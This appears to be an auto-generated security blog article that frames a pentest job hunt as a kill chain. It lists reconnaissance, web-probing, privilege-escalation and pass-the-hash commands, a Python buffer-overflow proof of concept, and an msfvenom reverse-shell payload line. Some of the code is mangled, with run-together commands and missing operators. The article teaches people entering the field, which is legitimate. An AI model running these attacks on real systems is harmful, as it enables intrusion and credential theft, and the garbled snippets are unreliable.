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Introduction:
The traditional path to a penetration testing role often feels gated by certifications and direct experience. However, a provocative LinkedIn post by Matt Brown reframes the job hunt through the lens of an attacker’s methodology. By applying the core phases of a cyber kill chain—Initial Access, Privilege Escalation, and Exploitation—to career advancement, security professionals can develop a strategic, long-game approach to breaking into the field.
Learning Objectives:
- Understand how the cyber kill chain model can be applied to professional career development.
- Acquire the technical command-line skills necessary to demonstrate competence in initial access, enumeration, and privilege escalation.
- Develop a practical, project-based strategy for showcasing offensive security skills to potential employers.
You Should Know:
1. Gaining Initial Access: Network Reconnaissance
The first step for any attacker, or aspiring professional, is to get a foothold. This involves understanding the target environment. For a job seeker, this means researching companies and their technologies. Technically, it begins with passive and active reconnaissance.
Verified Commands & Code Snippets:
`nmap -sS -sV -O 192.168.1.0/24` – A classic Nmap command for TCP SYN scan, service version detection, and OS fingerprinting on a network range.
`whois example.com` – Queries WHOIS databases to retrieve domain registration information, including owner and name servers.
`theharvester -d example.com -l 100 -b google` – Uses theHarvester to gather emails, subdomains, and hosts from public sources like Google.
`dnsrecon -d example.com -t std` – Performs standard DNS enumeration to discover records and subdomains.
`curl -I https://example.com` – Retrieves HTTP headers from a web server, revealing server type, frameworks, and other details.
Step-by-Step Guide:
To emulate an attacker’s reconnaissance phase, start with passive intel gathering. Use `theharvester` and `whois` to build a profile of your target company’s digital footprint. Next, if you are testing in a lab environment you control, use `nmap` to perform active scanning. The `-sS` flag initiates a stealthy SYN scan, `-sV` probes open ports to determine service versions, and `-O` attempts to identify the operating system. This data helps an attacker identify low-hanging fruit; for a job seeker, it demonstrates a foundational understanding of how to map an attack surface.
2. Establishing a Foothold: Web Application Probing
Once you understand the landscape, the next step is to find an entry point. Web applications are a common vector. Demonstrating the ability to identify basic vulnerabilities shows practical skill.
Verified Commands & Code Snippets:
`gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt` – Bruteforces directories and files on a web server.
`nikto -h https://example.com` – Performs a comprehensive web server scan for vulnerabilities and misconfigurations.
`sqlmap -u “https://example.com/page?id=1” –batch- Automates the process of detecting and exploiting SQL injection flaws.ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u https://example.com/FUZZ` – A fast web fuzzer for discovering content.
`testssl.sh example.com:443` – A thorough shell script for checking TLS/SSL cipher support and potential vulnerabilities.
Step-by-Step Guide:
After discovering a web server during your `nmap` scan, use `gobuster` or `ffuf` to find hidden directories like /admin, /backup, or /api. Piping the output of these tools into a file allows for further analysis. Following this, run `nikto` to get a high-level overview of potential security issues. If you find a page with a parameter (e.g., ?id=1), you can use `sqlmap` to test it for SQL injection automatically. This process mirrors how an attacker finds and validates a potential initial access vector.
3. Privilege Escalation: Windows Local Enumeration
After gaining initial access, an attacker is often in a low-privileged context. The goal is to elevate to SYSTEM or Administrator. This requires deep system knowledge, a highly valued skill for pentesters.
Verified Commands & Code Snippets:
`whoami /priv` – Displays the privileges assigned to the current user.
`systeminfo | findstr /B /C:”OS Name” /C:”OS Version”` – Shows OS details for identifying potential kernel exploits.
`wmic service get name,displayname,pathname,startmode | findstr /i “Auto” | findstr /i /v “C:\Windows\”` – Lists auto-start services with non-standard paths, a common misconfiguration.
`accesschk.exe -uws “Everyone” “C:\Program Files”` – Sysinternals tool to check access permissions for a specific user/group.
`seatbelt.exe “All”` – A powerful C privilege escalation enumeration tool that aggregates a vast amount of system data.
Step-by-Step Guide:
Upon obtaining a Windows command shell, the first command should be whoami /priv. Look for enabled privileges like `SeImpersonatePrivilege` or SeBackupPrivilege, which can be exploited. Next, use the `systeminfo` command to get the OS version and build number, which you can cross-reference with a resource like ExploitDB. The `wmic` command helps identify insecure service permissions, where a service running as SYSTEM is pointing to a writable directory. Tools like Seatbelt automate this entire enumeration process, providing a comprehensive view of the system’s security posture.
4. Privilege Escalation: Linux Local Enumeration
Linux systems require a different set of enumeration techniques. The ability to quickly find misconfigurations is a core competency.
Verified Commands & Code Snippets:
`sudo -l` – Lists the commands the current user is allowed to run with sudo.
`find / -perm -u=s -type f 2>/dev/null` – Finds all SUID files on the system.
`linpeas.sh` – The Linux Privilege Escalation Awesome Script, a comprehensive enumeration tool.
`ps aux | grep root` – Shows processes running as the root user.
`cat /etc/crontab` – Displays the system-wide cron table for scheduled tasks.
`uname -a` – Prints system kernel information for identifying potential exploits.
Step-by-Step Guide:
Always start with `sudo -l` to see if you can run any commands as another user. If you can run `vi` or `find` as root, for example, privilege escalation is trivial. The `find` command for SUID binaries is crucial; look for uncommon binaries with the SUID bit set. For a more automated and thorough approach, transfer and run `linpeas.sh` on the target. It will check for sudo rights, SUID files, cron jobs, vulnerable kernel versions, and world-writable files, color-coding high-risk findings for easy identification.
5. Lateral Movement: Exploiting Network Trust
Insider threats and advanced attackers don’t stop at one machine. They move laterally through the network. Understanding this phase demonstrates a mature offensive security mindset.
Verified Commands & Code Snippets:
`cme smb 192.168.1.0/24` – CrackMapExec to enumerate SMB shares across a network segment.
`smbclient -L //192.168.1.10 -N` – Lists shares on a remote host anonymously.
`secretsdump.py DOMAIN/[email protected]` – Impacket script to dump NTLM hashes from a remote machine.
`psexec.py DOMAIN/[email protected] -hashes aad3b…:aad3b…` – Impacket’s PsExec for executing commands remotely using hashes (Pass-the-Hash).
`evil-winrm -i 192.168.1.30 -u Administrator -p ‘Password123!’` – Connects to a remote host using WinRM.
Step-by-Step Guide:
After compromising a host, use `cme smb` to scan the network for other machines and check for SMB signing or shared resources. If you discover a machine with an accessible SMB share, use `smbclient` to connect and look for sensitive files. If you have dumped local administrator hashes from your initial box and the environment uses shared local admin passwords, you can use `secretsdump.py` to perform a DCSync attack if you have domain admin, or use `psexec.py` with the `-hashes` parameter to perform Pass-the-Hash and gain a shell on another system where that local admin account is reused.
6. Demonstrating Impact: Proof of Concept Exploitation
Ultimately, you must prove you can exploit a vulnerability. Writing a simple proof-of-concept (PoC) script is a powerful way to showcase this skill in an interview or on a resume.
Verified Code Snippet (Python Buffer Overflow PoC):
!/usr/bin/python3
import socket
host = "192.168.1.100"
port = 9999
offset = 100
payload = b"A" offset
payload += b"B" 4 Overwrite EIP
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(b"TRUN /.:/" + payload)
s.recv(1024)
s.close()
except:
print("Error connecting to server")
Step-by-Step Guide:
This simplified PoC targets a vulnerable network service. The script fuzzes the service by sending a long string of As to find the crash point (offset). Once the offset is known, the next four Bs are used to overwrite the EIP register, controlling the program’s execution flow. In a real-world scenario, you would replace the Bs with a memory address pointing to your shellcode (e.g., JMP ESP). This demonstrates a fundamental understanding of exploit development, from fuzzing to controlling execution, a highly sought-after skill.
7. Building Your “Exploit”: The Professional Portfolio
In the context of the original post, “exploiting relationships” translates to demonstrating tangible value. Your portfolio is your exploit.
Verified Commands & Code Snippets (Portfolio Building):
`git clone https://github.com/yourname/exploit-poc.git` – How you share your code.
`docker build -t vuln-app .` & `docker run -p 80:80 vuln-app` – Containerizing a vulnerable lab environment you’ve built.
`jekyll build –destination ./_site` – Building a static blog to document your findings.
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe > shell.exe` – Generating a payload for a custom lab.
`tcpdump -i eth0 -w capture.pcap` – Capturing network traffic from your lab exercises for analysis.
Step-by-Step Guide:
Don’t just list skills; prove them. Use `git` to maintain a public GitHub portfolio containing your PoC scripts, documentation from HackTheBox or TryHackMe machines, and custom security tools. Build a vulnerable application on a VPS, document the steps to exploit it, and provide the setup in a `Dockerfile` so others can replicate it. This hands-on, proof-oriented approach is far more compelling to a hiring manager than a resume filled with certifications but no practical evidence.
What Undercode Say:
- The most effective way to break into offensive security is to adopt the adversarial mindset you aim to defend against, treating your career path as a long-term penetration test.
- Technical proficiency demonstrated through a public portfolio of practical work outweighs a checklist of certifications in the eyes of many modern hiring managers.
The satirical post, while humorous, contains a profound truth. The “Insider Threat” methodology it outlines is essentially a strategy for proactive career management. By focusing on gaining access (getting any IT role), elevating privileges (acquiring skills and taking on more responsibility), and exploiting trust (demonstrating unique value through side projects and initiative), candidates can systematically position themselves for their target role. This approach requires patience and a project-based learning mentality, moving beyond theoretical study to creating tangible artifacts that prove capability and passion.
Prediction:
The “Insider Threat” model for career advancement will become increasingly formalized as the skills gap in cybersecurity persists. We will see a rise in project-based hiring and interview processes, where candidates are evaluated on their public GitHub contributions, custom tooling, and detailed write-ups of homelab scenarios rather than just their resume bullet points. This shift will reward practical, hands-on skill and strategic career planning, fundamentally changing how the next generation of security professionals enters the field.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mattbrwn Want – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
